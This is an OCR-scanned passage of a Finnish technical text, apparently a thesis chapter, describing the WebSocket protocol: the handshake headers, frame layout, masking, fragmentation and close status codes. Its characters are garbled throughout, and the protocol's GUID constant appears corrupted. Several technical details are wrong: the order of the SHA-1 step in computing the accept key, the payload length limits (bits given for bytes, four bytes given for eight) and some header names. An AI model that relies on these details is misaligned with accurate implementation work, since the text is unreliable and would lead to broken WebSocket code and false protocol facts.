kittelypyyntod eikd aloittaa yhteyttd. Kittelypyyntd on HTTP-protokollan mukainen GET-metodia
noudattava kutsu, johon asetetaan tietyt protokollamédritelméissd madrdtyt HTTP-otsakkeet.
Palvelin vastaa kutsuun myds normaalilla HTTP-paluuviestilld, jonka jilkeen yhteys jatkuu
kayttden websocket-protokollaa olettaen, ettd yhteyden avaaminen onnistui. Koska avauspyynto
noudattaa HTTP-protokollaa, saman palvelinohjelman on mahdollista palvella sekd HTTP- ettd
websocket-yhteyksii vieldpd samasta portista.

Kaittelyprosessissa asiakas- ja palvelinohjelma varmistavat, ettd molemmat ymmartivat
websocket-protokollaa.  Kittelyprosessi on  ndkyméaton  sovelluskehittijdlle.  Useimmat
palvelinohjelmat ja kaikki protokollaa tukevat selaimet toteuttavat kéttelyn eikéd sovelluskehittdjin
tarvitse huolehtia muusta kuin yhteyden onnistumiseen tai epdonnistumiseen reagoimisesta.

Websocket-protokollamédritelmé maéérittelee kahdeksan uutta HTTP-otsaketta, jotka on listattu
taulukoissa 11 ja 12. Niitd otsakkeita kdytetddn ainoastaan yhteyden avaamisen yhteydessd HTTP-
kattelypyynnossd ja sen vastauksessa. Asiakkaan ldhetddmadn Kkattelypyyntoon lisdtdén aina
otsakkeet Sec-WebSocket-Key ja Sec-WebSocket-Version. Jos kéttelypyynnon ldhettdd selain on
pyyntodn myos lisdttdvd Host-otsake. Palvelimen vastausviestissé on aina otsakkeet Sec-
WebSocket-Accept ja Sec-WebScoket-Version. Kittelyn pyynto- ja vastausviesteihin ei lisdtd
varsinaista viestisisdltod. Kattelyprosessiin tarvittavat tiedot vélitetddn kokonaan HTTP-

otsakkeissa. Ndiden otsakkeiden liséksi pyyntoon ja vastaukseen on lisdttdva otsattee Connetion ja

Upgrade.
Otsake Sisalto
Sec-WebSocket-Key 16-tavuinen base64 koodattu arvo
Sec-WebSocket-Version-Client Protokollan versio
Sec-WebSocket-Extension Lista ekstentioista
Sec-WebSocket-Protocol-Client Lista aliprotokollista

Taulukko 11. Websocket otsakkeet asiakkaalta.
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Otsake Sisdlto
Sec-WebSocket-Accept Base64 koodattu arvo
Sec-WebSocket-Version-Server Protokollan versio
Sec-WebSocket-Extensions Lista ekstentioista
Sec-WebSocket-Protocol-Server

Taulukko 12. Websocket otsakkeet palvelimelta.

3.2.1. Asiakkaan Kittely
Asiakasohjelma siis aloittaa yhteyden lihettamilla HTTP GET-kutsun palvelimelle. Protokollan

maiiritelmdn mukaan yhteys asetetaan tilaan CONNECTING. Mairitelmdan mukaan vain yksi yhteys
kerrallaan tiettyyn URL:&dn voi olla tdsséd tilassa. Avauskutsuun asiakas tarvitsee URL:n, joka

voidaan muodostaa kahdella tavalla taulukon 13 mukaisesti.

ws:// isanta [:portti] / Resurssi [?parametrit]
wss:// isanta [:portti] / Resurssi [?parametrit]

Taulukko 13. Websocket URL-kaavio.

URL aloitetaan joko “ws://” tai “wss://” -etuliitteelld riippuen kiytetd&inkd TLS/SSL-tasolla
kryptattua yhteyttd vai ei. Etuliitteen jdlkeen maéritelty isdntd on kohdepalvelimen verkko-osoite tai
mahdollisesti pelkkd IP-osoite. Portin mééritteleminen on vaihtoehtoinen. Oletusportti on 80, jos
kiytetddn kryptaamatonta yhteyttd, ja 443 kryptatulle. Lisdksi URL:d4n lisétddn polku haettuun
resurssiin. Kaikkien nididen komponenttien on oltava valideja, muutoin asiakkaan on keskeytettdva
yhteyden muodostaminen.

Jos samaan URL:d4n on jo aloitettu yhteyden muodostaminen, eli tismédlleen samaan isdntdan,
porttiin ja resurssiin on olemassa yhteys tilassa CONNECTING, on uuden yhteyden odotettava
kunnes edellinen yhteys on avattu, keskeytetty tai suljettu. Asiakasohjelma tiytyy myos sarjallistaa
useampi samaan isdntddn avattu yhteys. Jos yhteys palvelinohjelmaan muodostetaan
vilityspalvelimen kautta, on asiakkaan ldhetettidva kittelyviesti vilityspalvelimelle, joka valittdd
kéttelyn eteenpdin. Ilman vilityspalvelinta websocket-yhteys muodostetaan suoran TCP-yhteyden
kautta kohdepalvelimeen.

Kuten aiemmin on esitetty, yhteys on myds mahdollista avata kdyttden TLS-salaustekniikkaa.

3

Kryptattu yhteys muodostetaan, jos URL:n alkuun on maéiritelty protokollan etuliitteeksi “wss .
Téssd tapauksessa ennen varsinaista yhteyden avaamista ja ennen kéttelyprosessin aloittamista
luodaan TLS-yhteys asiakkaan ja palvelimen vilille asiaan kuuluvalla kéttelymenetelmalla.
Websocket-protokollamédritelmdn mukaan suositellaan, ettd kryptattua yhteyttd tulisi kayttdd
silloin, kun websocket-yhteyden avaava sivu on my0s palveltu TLS-suojatulla HTTPS-

protokollalla. TLS-kéttelyn epdonnistuessa on myds websocket-yhteyden avaaminen keskeytettiva.
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Kun TCP-yhteys URL:n médrittelemién isdntédn on avattu onnistuneesti joko suojattuna TLS:n
yli tai ilman, on asiakkaan ldhetettdvd varsinainen kéttelyviesti. Kéttelyviesti noudattaa HTTP-
protokollan mukaista ylennysviestid (upgrade), johon asetetaan tietyt otsikkotiedot. Osa otsakkeista

on pakollisia ja osa valinnaisia.

GET /socket.io/1/websocket/yGs_pxkC_5BsDOcLeBOP HTTP/1.1
Connection: Upgrade

Host: localhost:8001

Origin: http://localhost:8001

Sec-WebSocket-Extensions: permessage-deflate;
client_max_window_bits, x-webkit-deflate-frame
Sec-WebSocket-Key: ez7Wn3sJiR2Q10jhUlIhYQ==
Sec-WebSocket-Version: 13

Upgrade: websocket

Listaus 5. Esimerkki websocket-kattelypyynndsta.

HTTP/1.1 101 Switching Protocols

Connection: Upgrade
1. Sec-WebSocket-Accept: dz+1SHzmlyRgo6Wm+YSGbAJUBEw=
2. Upgrade: websocket

Listaus 6. Esimerkki websocket-kéttelyn vastauksesta.

Kittelyviestin HTTP-metodi on aina GET. Pyynnén statusriville (listauksen 5 enisimmaéinen
rivi) asetetaan sama resurssin nimi joka médriteltiin aiemmin URL:ssé. Pakollisia otsakkeita ovat
Host, Upgrade, Connetion, Sec-WebSocket-Key ja Sec-WebSocket-Version. Origin-otsake on
pakollinen jos avauskutsu ldhetetddn selaimesta, muussa tapauksessa se on valinnainen. Myos Sec-
WebSocket-Version on pakollinen otsake ja sen arvo on websocket-protkollan versionumero. Host-
otsake sisdltdd kohdepalvelimen isdnnén verkko-osoitteen tai pelkdn IP-osoitteen ja valinnaisesti
portin. Portti ilmoitetaan isdnnén perdssd kaksoispisteen jdlkeen. Upgrade-otsakkeen tulee aina
sisdltdd merkkijono “websocket” ja Connection-otsakkeen merkkijono “Upgrade”. Otsakkeen Sec-
WebSocket-Key arvoksi asetetaan 16-tavuinen satunnaisesti generoitu arvo, joka koodataan base64-
koodauksella. Taémé avain on tirked osa websocket-kittelyd, silld silld varmistetaan, ettd myos
palvelin on ymmairtdnyt websocket-kéttelyn ja noudattaa virallista protokollamédritelmaa.

Valinnaisia kéttelyn otsakkeita ovat Sec-WebSocket-Protocol, joka siséltdd pilkulla eroteltuna
listan aliprotokollista, jotka asiakas ehdottaa kaytettidviksi websocket-protkollan pédlld ylemméan
sovellustason protokollana. Myos Sec-WebSocket-Extensions sisdltdd pilkuilla eroteltuna listan
mahdollisista laajennuksista. Websocket-protokolla antaa mahdollisuuden lisétd protokollaan

laajennoksia. Laajennokset kdsitellddn myohemmin. Kaikki muut HTTP-protokollan mukaiset
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otsakkeet ovat myo0s sallittuja, kuten eviasteet ja HTTP-autentikointiin liittyvd otsake WWW-
Authenticate.

Kun kittelyviesti on ldhetetty, asiakas jad odottamaan vastausviestid. Asiakkaan vastuulla on
vastausviestin validoiminen. Vastaus my0s noudattaa HTTP-protokollan mukaista vastausviestid
(listaus 6). Onnistuneen yhteyden vastausviestin statusarvo on 101 (méiéritelma: protokollien vaihto,
engl. switching protocols), joka HTTP-médiritelmén mukaan tarkoittaa onnistunutta protokollan
vaihtoa. Jos statusarvo on jotain muuta on yhteyden muodostaminen epidonnistunut (tai palvelin ei
noudata protokollamédiritelmdd) ja yhteys on katkaistava. Paluuviestin on my0s siséllettdva
Upgrade- ja Connection-otsakkeet ASCII-koodatuilla merkkijonoilla “websocket” ja “upgrade”
vastaavasti. Yhteys on katkaistava jos ndmé puuttuvat paluuviestisti tai jos niiden arvo on jotain
muuta.

Paluuviestin on myds sisdllettivd otsake Sec-WebSocket-Accept, jonka arvo miérdytyy
kittelyviestissd ldhetetyn Sec-WebSocket-Key -otsakkeen avaimen mukaisesti. Paluuarvo
muodostetaan laskemalla SHA-1 -algoritmilla asiakkaan ldhettiméastd avaimesta hajautusarvo.
Hajautusarvoon liitetddn RFC-6455:n maédrittelemd vakiomerkkijono 258EAFAS5-E914-47DA-
95CA-C5ABODCS85BI11 ja ndin saatu merkkijono asetetaan paluuarvoksi base64-koodattuna.
Muussa tapauksessa yhteys tulee katkaista. Merkkijono on RFC-4122:n mukainen globaalilla
tasolla uniikki identifioija, jonka tarkoitus on taata, ettd vain virallista websocket-protkollaa
noudattavat palvelimet palauttavat oikean paluuavaimen.

Paluuviestissd on myds valinnaisena palvelimen valitsema sovellusprotokolla ja lista
laajennuksista. Palvelin voi valita yhden asiakkaan ehdottamista sovellusprotokollista ja yhden tai
useamman laajennoksista. Jos asiakas ei tunne aliprotokollaa tai laajennoksia, on yhteyden
muodostaminen katkaistava.

Jos palvelimen palauttama paluuviesti ei tdsmdd edelld esitettyjen vaatimusten kanssa, on
yhteyden muodostaminen keskeytettdva. Jos paluuviesti vastaa vaatimuksia ja statusarvon mukaan
yhteyden muodostaminen on onnistunut, asetetaan websocket-yhteys tilaan OPENED. Mahdolliset

valitut sovellusprotokolla ja laajennokset astuvat voimaan.

3.2.2. Palvelimen Kittely
Kattelyprosessi palvelimen péédssd alkaa, kun palvelinohjelma vastaanottaa asiakkaalta tulleen
kittelyviestin ja palvelin vastaa sithen protokollan vaatimusmiéritelmén mukaisella viestilla.
Kattelyviestissd on mahdollista ldhettdd yliméardistd dataa, esimerkiksi kdyttdjan tunnistamistietoja,
mutta palvelimen on luettava ainakin pakolliset otsaketiedot kéttelyviestistd, jotta kittelyprosessi
onnistuu.

Kainteisvilityspalvelimia (engl. reverse proxy sever) ja kuorman tasapainottajia (engl. load
balancer) voidaan kéyttdd websocket-palvelimen yhteydessa, jolloin vélipalvelimet vilittavit viestit

edelleen. Palvelin voi myds uudelleenohjata yhteyden toiselle palvelimelle.
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Asiakkaan ldhettdmén kéttelyviestin on noudatettava aiemmin esiteltyd madritelmaa.
Palvelimen on keskeytettdvd yhteyden avaaminen, jos viesti ei noudata maéritelmad ja vastattava
HTTP-protokollan mukaisella viestilld, jonka statusarvo vastaa virhettd. Esimerksiksi virheellisen
kattelypyynnon osoittamiseksi palvelin voi asettaa statusarvon 400 (“Bad request”). Viestin on
noudatettava HTTP-protokollan versiota 1.1 tai uudempaa GET-metodin mukaista viestid.
Kittelyviestin statusrivin URL:n tulkitaan tarkoittavan haettavaa resurssia ja viesti voi sisdltdd
kyselyparametreja. Resurssilla ja parametreilla voidaan yksiloidé eri palveluja, joita mahdollisesti
palvellaan samasta isdnndstd. Otsakkeista Host, Upgrade, Connection, Sec-WebSocket-Key ja Sec-
WebSocket-Version ovat pakollisia, ja niiden arvojen on vastattava aiemmin esitettyjd. Host-otsake
siséltad palvelimen isdnnin verkko-osoitteen. Valinnaiset otsakkeet ovat Origin, joka on pakollinen,
jos viestin ldhettdjdnd on selain. Jos tdmé otsake puuttuu, niin ldhettdjin oletetaan olevan jokin muu
kuin selainohjelma. Muut valinnaiset otsakkeet ovat Sec-WebSocket-Protocol ja Sec-WebSocket-
Extensions, jotka siséltdvét listan sovellusprotokollista ja lisdyksista.

Websocket-kittely voidaan tehdd myos saapua palvelimelle kryptattuna TLS-tason yli. Tassé
tapauksessa palvelin suorittaa ensin normaalin TLS-kéttelyn, jonka jdlkeen websocket-kittely
toimitetaan salatun yhteyden yli. Jos TLS-kittely epdonnistuu, myds websocket-kittely on
keskeytettdvd ja palautettava virheen mukainen statusarvo paluuviestissa.

Palvelin voi my6s halutessaan suorittaa muita autentikointitoimenpiteitd kéttelyn yhteydessa.
Websocket-protokollassa ei ole médritelty erikseen, miten autentikointi ja autorisointi suoritetaan.
Tavallisia HTTP-autentikointimenetelmid voidaan soveltaa tissd. Kéttelyviestiin voidaan
esimerkiksi lisdtd evidsteind kayttdjan autentikointitunniste tai hyddyntdd HTTP-autentikointia
WWW-Authentiacte -otsakkeella. Palvelimen on myds syyta tarkastaa Origin-otsakkeen sisilto, jos
sellainen on saatavilla. Selainohjelmat asettavat timén otsakkeen arvon yhteyden aloittaneen
kontekstin alkuperdiseen osoitteeseen, joten ldhteen tarkastaminen on tirked turvallisuusseikka.

Otsakkeen Sec-WebSocket-Accept arvoksi palvelimen tulee asettaa edellisessd alakohdassa
esitellyn prosessin tuloksena saatu merkkijono. Kaikkien RFC-6455:n mukaista websocket-
protokollamédritelmdd noudattavien palvelinten tulee kiyttdd samaa merkkijonoa (258EAFAS-
E914-47DA-95CA-C5AB0ODC85B11) prosessissa.

Palvelimen tulee my0s tarkistaa muut pakolliset otsakkeet. Sec-WebSocket-Version-otsakkeen
siséltdimén version numeron on vastattava palvelimen hyviksyméé protokollan versiota. Tdmén
hetkinen protokollan versionumero on 13. Yhteyden muodostus on lopetettava, jos asiakkaan
tarjoama versio ei ole tuettu palvelimella.

Palvelin kéy 14pi valinnaisen otsakkeen Sec-WebSocket-Protocol listaamat sovellusprotokollat
ja valitsee niistd maksimissaan yhden. Otsakkeessa Sec-WebSocket-Extension listatuista
laajennoksista palvelin voi valita yhden tai useamman. Paluuviestin vastaaviin otsakkeisiin

asetetaan valittu sovellusprotokolla ja lista yhdesté tai useammasta laajennoksesta. Jos palvelin ei
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tue yhtdkddn asiakkaan ehdottamista sovellusprotokollista tai laajennoksista, paluuviestin
otsakkeiden arvoksi asetetaan merkkojono “null”. Vaikka palvelin ei tukisi mitdén asiakkaan
listaamista sovellusprotokollista ja laajennoksista, yhteyden muodostamista ei keskeyteta.

Onnistuneen prosessin péétteeksi palvelin ldhettdd asiakkaalle HTTP-mukaisen paluuviestin.
Paluuviestin statusarvoksi asetetaan 101. Upgrade-otsakkeen arvoksi asetetaan “websocket” ja
Connection arvoksi “upgrade”.

Onnistuneen kéttelyprosessin jilkeen HTTP-yhteys muutetaan websocket-yhteydeksi ja tiedon
ldhettdiminen voidaan aloittaa. Seuraavaksi esitelldéin, miten websocket-viestit kehystetddn

protokollamédritelmidn mukaisesti.

3.3. Viestien kehystys

Websocket-protokollan kuljetustason protokolla TCP perustuu jatkuvaan yhteyteen ja siten tiedon
lahettiminen ylemmén tason protokollille ndyttdd tapahtuvan jatkuvana tietovirtana. Websocket-
protokolla kuitenkin kisittelee ldhetettyd tietoa yksittdisind paketteina. Paketit muodostetaan

kehyksistd, joihin protokollamdiritelmédn mukaan lisdtddn tietyt otsaketiedot taulukon 14

mukaisesti.
0 16
FIR|R|R Opcode M Payload len Pidennetty payload len -kentta
I|S|S|S (4) A (7) (jos kentan arvo on 126 tai 127)
N| VIV |V S (16/64)
1,23 K

Edelleen pidennetty payload len (jos arvo on 127)

Masking-key

Masking-key Sisaltodata

Sisaltodata jatkuu

Taulukko 14. Websocket viestien kehyskaavio.

Kehyksen ensimmadinen bitti madrdd kentdn FIN, joka kertoo, onko paketti mahdollisen
fragmentaation viimeinen osa. Websocket-protokollalla on mahdollista jakaa suuren médirdn dataa
siséltdvéd paketti useaksi fragmentiksi, jotka ldhetetddn erillisind viesteind. Taméi bitti saa arvon 1
aina, kun pakettia ei ole fragmentoitu.

FIN-kenttdéd seuraavat bitit vastaavat kenttid RSV1, RSV2 ja RSV3. Ndméi kentit ovat varattu
laajennoksien kayttoon. Jos laajennoksia ei ole mairitelty kattelyn yhteydessd, on kaikki ndma
asetettava arvoon 0. Kenttien tulkinta riippuu laajennoksien médrittelyistd. Jos saapuneessa
paketissa jokin ndistd kentistd on asetettu tilaan 1, mutta lisdyksid ei ole otettu kayttoon kittelyn

yhteydessd on websocket-yhteys katkaistava.
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Seuraava kentti OPCODE ilmoittaa paketin tyypin. Kentdn pituus on nelja bittid ja arvot ovat
ennalta madritelty tarkoittamaan tiettyd pakettityyppid. Jos arvo on tuntematon, on yhteys
katkaistava. Protokollamddritelmi huomoi seuraavat heksadesimaalina ilmoitetut arvot: arvo 0x0
osoittaa paketin olevan jatkoa edelliselle paketille, eli se on osa fragmentaatiota. Arvo 0x1 siséltaa
tekstidataa ja 0x2 sisdltdd binddridataa. Arvot 0x3-0x7 on varattu tulevaa kéyttod varten muille kuin
kontrolliviesteille. Arvo 0x8 on sulkemisviesti, 0x9 ping-viesti ja 0xA pong-viesti. Loput
mahdollisista arvoista 0xB-0xF on varattu tuleville kontrolliviesteille.

Mask-kenttd on pituudeltaan yhden bitin ja pédlle asetettuna se ilmoittaa, ettd paketin
varsinainen sisdltd on naamioitu maskausavaimella. Téssd tapaukseesa myos avain on madritelty
viestin otsakkeessa. Websocket-mairittelyn mukaan kaikki asiakasohjelman l&hettdmét viestit tulee
naamioida ja yhtdkddn palvelimen viesteistd ei tule naamioida. Jos asiakas tai palvelin vastaanottaa
viestin joka on maskattu tai ei ole maskattu silloin kun pitéisi, on yhteys katkaistava. Kaikilla
asiakkaan ldhettdmilld viestilld MASK-kenttd on siis asetettava arvoon 1 ja otsakkeen on
siséllettavd maskausavain ja kaikilla palvelimen ldhettimilla se tulee olla arvossa 0.

Viestin sisdllon pituus ilmoitetaan otsakkeen kentdssd payload len. Tdmédn kentén pituus voi
olla joko 7 bittid, 7+16 bittid tai 7+64 bittid. Jos viestin varsinainen sisélt on pituudeltaan alle 125
bittid, ilmoitetaan pituus pelkilld seitsemalld bitilld, joka on kentdssé payload len. Jos sisdllon koko
on suurempi ja kentén arvo on 126, niin seuraavat kaksi tavua ilmoittaa viestin pituuden. Jos arvo
on 127, niin seuraavat neljd tavua ilmoittaa viestin pituuden tulkittuna yhtend unsigned integer
-tyyppisend arvona. Viestin koko pituus on ilmoitettava tdssd kentdssd, siis mukaanlukien
mahdollinen laajennusdata.

Maskausavain on 32-bittin arvo, joka on kehyksessd mukana, jos kentti MASK on asetettu
arvoon 1. Kaikilla asiakkaalta 14htevilld viestilld kyseinen arvo siis pitiisi olla asetettu ja maskin-
key-kenttd myds asetettu kehykseen. Télld avaimella naamioidaan kokonaisuudessa payload-data-
kentdn sisdlto, joka siséltdd varsinaisen datan ja mahdollisen laajennusdatan. Maskausavain on 32-
bittinen satunnaisluku. Avaimen satunnaisuuden on oltava riittivin voimakas, jotta seuraavan
avaimen arvaaminen ei olisi mahdollista turvallisuussyista.

Viestin sisdllon naamioiseen sovelletaan seuraavaa algoritmia. Sisdltd luetaan 8-bitin osissa.
Jokaiseen osaan suoritetaan XOR-operaatio maskausavaimen indeksistd i MOD 4, jossa i on
iteraationumero eli i:s 8-bitin osa viestin sisltod. Sama maskausalgoritmi suoritetaan samassa
jérjestyksessd asiakkaan piddssd viestid naamioitaessa ja palvelimen pddssd viestid purkaessa.
Algoritmin suorittaminen dataan ei vaikuta sen pituuteen. Naamioimisella ei pyritd salaamaan
viestin sisdltdd, vaan estimdin vilityspalvelimia kohtaan tehtyjd hyokkdyksid. Tietoturva-asiat

esitelldin mydhemmin luvussa 6.
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u_int8 payload;

for (i = 0; i < length; i++)
payload[i] ~= mask[i % 4]

Listaus 8. Maskausalgoritmi

Data voidaan my0s fragmentoida eli ldhettdd useassa eri paketissa. Esimerkiksi jos viestin
kirjoitushetkelld ei ole tiedossa koko viestin sisdltod tai ldhetettivin datan méédrd on suuri, on
hyodyllistd ldhettdd data useassa paketissa. Viestin fragmentoimisella protokollatasolla myos
viltytddn puskurien kiyttimisestd sovellustasolla. Viestin fragementointi aloitetaan ldhettdmailla
viesti, jonka FIN-kentdn arvoksi asetetaan 0 ja OPCODE-kentdn arvoksi jokin muu kuin 0xO0.
Kontrolliviestejd ei kuitenkaan voi fragmentoida, joten kdytdnnossd mahdolliset OPCODE-arvot
ovat fragmenttiviesteille ovat 0x1-0x7. Tdmi kertoo vastaanottajalle, ettd seuraavat viestit, joiden
OPCODE on 0x0, ovat osa samaa viestid. Vastaanottava pdd puskuroi fragementit kunnes se
vastaanottaa viestin, jonka FIN-kenttd on asetettu arvoon 1. Kaikki viestityypit on mahdollista
fragementoida paitsi kontrolliviestit, mutta kontrolliviesteji on mahdollista ldhettdd kesken
fragmentioituneen viestin.

Kontrolliviesteilld vélitetddn tietoa yhteyden tilasta. Viestin tyyppi maédritellddn kentdlla
OPCODE, jonka arvoista 0x8 ja sitd suuremmat ovat kontrolliviestejd. Télld hetkelld websocket-
méidrittelyyn kuuluu seuraavat kontrolliviestit: Close, Ping ja Pong. Close, eli sulkemisviestilld
yhteys suljetaan. Ping- ja pong-viestejd kdytetdin yhteyden tilan maééritelemiseksi. Kumpikin
asiakas- ja palvelinohjelmista voi ldhettdd milloin vain ping-viestin johon vastaanottajan on
vastattava mahdollisimman pian pong-viestilla.

Pakettien varsinainen sisdltd voi olla joko UTF-8 koodattua tekstid tai bindarimuodossa. Viestin
datatyyppi médritelldén kentdssi OPCODE. Arvo 0x1 vastaa tekstidataa ja 0x2 binédéridataa.

Yhteyden sulkemisen merkiksi on maédritelty oma viesti. Sulkemisviestin opcode on 0x8.
Viestin sisdltdosaan voidaan valinnaisesti liittdd syy yhteydeb sulkemiseksi. Jos viestiin lisdtddn
sisdltdosa on sen kaksi ensimmadistd tavua varattu sulkemiskoodille. Koodin jédlkeen dataan voidaan

lisdtd esimerkiksi tekstind syy yhteyden sulkemiselle.

3.4. Datan lihettiminen ja vastaanottaminen

Viestejd voidaan ldhettdd tdysin itsendisesti sekéd asiakas- ettd palvelinohjelmasta onnistuneen
yhteyden avaamisen jilkeen. Yhteyden tdytyy olla tilassa OPEN, jotta viesti voidaan léhettda.
Viestin ldhettdiminen on lopetettava, jos yhteys on missé tahansa muussa tilassa. Kaikki ldhetettavit
viestit tulee kehystdé edellisessi aliluvussa esitetyn mééritelman mukaan ja kehyksen kenttien arvot

tulee asettaa oikein. Kuten on esitetty, yksittdinen viesti saatetaan fragmentoida useaksi erilliseksi
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viestiksi. Vastaanottaja huolehtii viestifragmenttien kokoamisesta, eikd fragmentointi niy
sovellustasolle.

Asiakkaan ja palvelimen ldhettimissd viesteissd on kuitenkin hieman eroa. Asiakas naamioi
kaikkien viestin varsinaisen sisdllon aiemmin esitetyn algoritmin mukaisesti. Palvelimen ei tule
koskaan naamioida viestin sisdltod. Jos kéttelyssd on médritelty laajennuksia, voivat ne tuoda lisad
vaatimuksia viestin rakentamiseen ja ldhettdmiseen.

Kun viesti on kehystetty médritelman mukaan, se ldhetetddn kéttelyssd avatun TCP-yhteyden yli
vastaanottajalle. Viesti kulkee normaalisti TLS-tason ldpi, jos kéttelyssd muodostettiin salattu
yhteys.

Viestien vastaanottamiseksi péditepiste kuuntelee avattua TCP-verkkopistoketta. Saapunut viesti
tulee jdsentdd madritelmin mukaisesti. Yhteys tulee katkaista, jos toinen péétepisteistd vastaanottaa
viestin, joka ei noudata protokollamidritelmdd tai Kkéttelyssd sovittuja méadritelmid.
Kontrolliviesteihin tulee reagoida médritelmdn mukaisesti. Ping-viestiin tulee vastata
mahdollisimman pian pong-viestilld, ja close-viestin saapuessa on aloitettava yhteyden sulkeminen.

Dataviestin saapuessa viestin siséltd tulkitaan OPCODE-kentin arvon mukaisesti. Palvelimen
taytyy lisdksi purkaa viestin sisdllon naamiointi aiemmin esitetyn algoritmin mukaisesti.
Fragmentoituneen viestin saapuessa, eli kun FIN-kentén arvo on 0 ja OPCODE-kentén arvo ei ole
0, on viestin siséltd tallennettava puskuriin ja seuraavat fragmenttiviestit konkatenoidaan puskuriin,
kunnes fragmentin lopettava viesti saapuu. Kun lopetusviesti saapuu, ilmoitetaan saapuneesta

viestistd. Laajennokset voivat myds muuttaa viestin siséllon lukemisen vaatimuksia.

3.5. Yhteyden sulkeminen

Yhteyden sulkeminen tapahtuu sulkemisprosessin kautta. Prosessi aloitetaan l&hettdmalla
sulkemisviesti, jonka OPCODE-arvo on 0x8. Sulkemisen voi aloittaa kumpi tahansa osapuolista.
Viestiin on mahdollista my0s liittdd sisdltdosaan sulkemiskoodi, joka on kaksitavuinen integer-
tyyppinen arvo. Koodin perddn voidaan myos liittdd tekstind syy yhteyden sulkemiseksi. Viestin
siséltdosassa koodin on oltava ennen mahdollista tekstid.

Kun pédtepiste vastaanottaa tai ldhettdd sulkemisviestin, yhteys asetetaan tilaan CLOSING.
Yhteys suljetaan sulkemalla kittelyssd avattu TCP-yhteys. Mahdollinen TLS-istunto on myos
suljettava asianmukaisesti ennen TCP-yhteyden sulkemista. Tavanomaisesti palvelimen tulee sulkea
TCP-yhteys ennen asiakasta. Kun TCP-yhteys on suljettu asetetaan websocket-yhteys tilaan
CLOSED. Viesteja ei voida ldhettdd eikd vastaanoteta yhteyden ollessa tilassa CLOSING tai
CLOSED. Jos TCP-yhteys suljettiin websocket-sulkemisviestin prosessoimisen jilkeen, yhteys on
suljtettu siististi.

Sulkemisviestiin valinnaisesti liitettdvalla statuskoodilla ilmoitetaan syy yhteyden sulkemiseksi.
Statuskoodin puuttuessa oletusarvo on 1005. Statuskoodin perdén voidaan lisdtd UTF-8 koodattu

merkkijono viestiksi vastapuolelle. Protokollamdiritelmid ei ota kantaa tekstin sisdltoon.
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Websocket-yhteys on suljettava tilanteissa, joissa esimerkiksi madritelméd ei noudateta. Télloin on
lahetettdva sulkemisviesti, johon on syyti liittdd kuvaava statuskoodi.

Statuskoodi kuvataan kaksitavuisella integer-arvolla. Websocket-protokollamééritelméd ehdottaa
seuraavia statuskoodeja yleisimpiin tilanteisiin:

1000, normaali sulkeminen; yhteys suljettiin ilman virheita.

1001, padtepiste “poistui”; esimerkiksi selaimen ikkuna suljettiin tai palveli sammutettiin.

1002, yhteys katkaistiin protokollavirheeseen.

1003, paitepiste vastaanotti dataa, jota se ei voi lukea.

1004, arvo varattu tulevaa kayttod varten.

1005, myds varattu arvo, jota ei tule kdyttdd sovellustasolla; arvon tarkoitus on kertoa, ettd
statuskoodia ei asetettu. Tama on siis koodin oletusarvo.

1006 on myds varattu arvo joka ilmoittaa, ettd yhteys katkaistiin ilman sulkemisviestia.

1007, virheellinen datatyyppi, esimerkiksi opcode:n mukaan tekstidatan tilalla viesti sisélsi
binddridataa.

1008, vastaanotettu viesti rikkoo jotain menettelytapaa; titd koodia voidaan kayttdd yleisen
virheen merkiksi.

1009, vastaanotettu viesti on liian iso prosessoitavaksi.

1010, asiakas on pyytényt ekstensiota, jota palvelin ei ymmaérré ja sulkee yhteyden.

1011, palvelin on paitynyt odottamattomaan tilaan ja yhteys on suljettava.

1015, on varattu arvo, jolla viestitdén virhettd TLS-yhteydessd, jonka johdosta websocket-
yhteys on suljettava.

Loput statuskoodit on esitetty taulukossa 15.
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Statuskoodi Selitys

1000 Normaali sulkeminen

1001 Paatepiste poistui

1002 Protokollavirhe

1003 Virheellinen datamuoto

1004 (varattu arvo tulevaan kayttdéon)

1005 (varattu arvo, ei koodia
sovellustasolta)

1006 (varattu arvo)

1007 Virheellinen datamuoto

1008 Virheellinen viesti

1009 Liian suuri datamdara

1010 Vaadittua laajennusta ei  tuettu

palvelimella (asiakkaalta)

1011 Palvelin kohtasi odottamattoman
tilanteen (palvelimelta)

1015 Varattu arvo, TLS-virhe

Varatut arvovalit

0-999 Ei kaytossa
1000-2999 Protokollan kaytossa
3000-3999 Sovellusten kaytossa, varattavissa
4000-4999 Sovellusten kaytossa, ei varattavissa

Taulukko 15. Websocket sulkemisviestien statuskoodit.

3.6. Virheiden kisittely
Protokolla ei mddrittele kattavaa prosessia virheiden késittelemiseen ja nithin reagoimiseen.
Mairitelmdn mukaan yhteyden muodostaminen on keskeytettdvd, jos kittelyvaiheessa toinen
paitepisteistd havaitsee virheitd tai puutteita madritelmédn noudattamisessa. Kittelyssa
tapahtuneeseen virheeseen palvelimen tulee ldahettdd HTTP-protokollan mukainen paluuviesti
tilanteeseen sopivalla virhekoodilla. Lisdksi jos toinen paitepisteistd havaitsee, ettd viestin sisdlto ei
ole UTF-8-koodattua, on paitepisteen suljettava yhteys.

Yhteyden aikana tapahtuneen virheen kohdalla yhteys tulee katkaista, mutta siti ennen
paitepiste voi lahettdd sulkemisviestin. Viestin OPCODE-arvoksi tdssd tapauksessa asetetaan 0x8.

Edellisesséd kohdassa on esitelty sulkemisviestit ja nithin lisdttdvit koodit erilaisille virhetilanteille.
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3.7. Laajennokset
Websocket-protokolla  sallii  toteuttavien  tahojen  lisdtd  ominaisuuksia  protokollaan
laajennosmekaniikan avulla. Viestikehyksessd maaritellyt kentdt RSV1, RSV2 ja RSV3 ovat
tarkoitettu laajennoksien kdyttoon ja niiden arvoihin tai kéyttdtapauksiin protokollaméaritelma ei
ota kantaa. Laajennoksen toteuttava taho vastaa kenttien arvojen tulkinnasta. Myés OPCODE-arvot
0x3 — 0x7 ja 0xB — OxF ovat laajennosten kiytettdvissd protokollan nykyisessé versiossa.

Laajennokset otetaan kayttoon kittelyprosessin yhteydessd. Asiakas ldhettdd kéttelyviestissa
otsakkeessa Sec-WebScoket-Extensions listan pyydetyistd laajennoksista, josta palvelin valitsee
tuetut laajennokset ja liittdd ne vastausviestin otsakkeeseen Sec-WebScoket-Extensions. Palvelin
voi olla valitsematta yhtidkain asiakkaan ehdottamista laajennoksista, jolloin yhteytta ei kuitenkaan
suljeta. Laajennosten jérjestykselld listauksessa on merkitystd. Listauksessa edelld olevien
laajennosten madrittelemét toiminnot tai lisdykset kehystietoihin suoritetaan ensin ellei laajennosten
madrittelyssd ole muuta esitetty. Lopullisesti voimaan tuleva jirjestys on palvelimen vastauksen
jarjestys.

